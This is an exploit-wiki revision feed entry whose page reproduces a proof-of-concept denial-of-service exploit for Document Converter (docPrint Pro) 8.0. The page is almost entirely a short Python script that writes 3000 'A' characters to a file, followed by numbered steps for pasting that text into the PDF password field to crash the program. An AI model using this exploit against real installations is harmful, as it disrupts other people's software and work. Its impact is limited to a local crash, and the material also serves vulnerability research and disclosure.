https://pwnwiki.com/index.php?action=history&feed=atom&title=DocPrint_Pro_8.0_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E 2026-04-08T20:40:19Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=DocPrint_Pro_8.0_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&diff=2015&oldid=prev 2021-05-02T04:35:35Z

<p>Created page with &quot;==POC== &lt;pre&gt; # -*- coding: utf-8 -*- # Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC) # Date: 19/05/2019 # Author: Alejandra Sánchez # Vendo...&quot;</p> <p><b>New page</b></p><div>==POC==<br /> &lt;pre&gt;<br /> # -*- coding: utf-8 -*-<br /> # Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC)<br /> # Date: 19/05/2019<br /> # Author: Alejandra Sánchez<br /> # Vendor Homepage: http://www.verypdf.com<br /> # Software: http://dl.verypdf.net/docprint_pro_setup.exe<br /> # Version: 8.0<br /> # Tested on: Windows 10<br /> <br /> # Proof of Concept:<br /> # 1.- Run the python script &quot;DocConverter.py&quot;, it will create a new file &quot;DocConverter.txt&quot;<br /> # 2.- Copy the text from the generated DocConverterr.txt file to clipboard<br /> # 3.- Open docPrint Document Converter<br /> # 4.- Go to 'Setting' &gt; 'PDF Security'<br /> # 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'<br /> # 6.- Click on 'Add File(s)', and select a supported file, e.g. 'sample.doc'<br /> # 7.- Click on 'Start', you will see a crash<br /> <br /> buffer = &quot;\x41&quot; * 3000<br /> f = open (&quot;DocConverter.txt&quot;, &quot;w&quot;)<br /> f.write(buffer)<br /> f.close()<br /> <br /> &lt;/pre&gt;</div>

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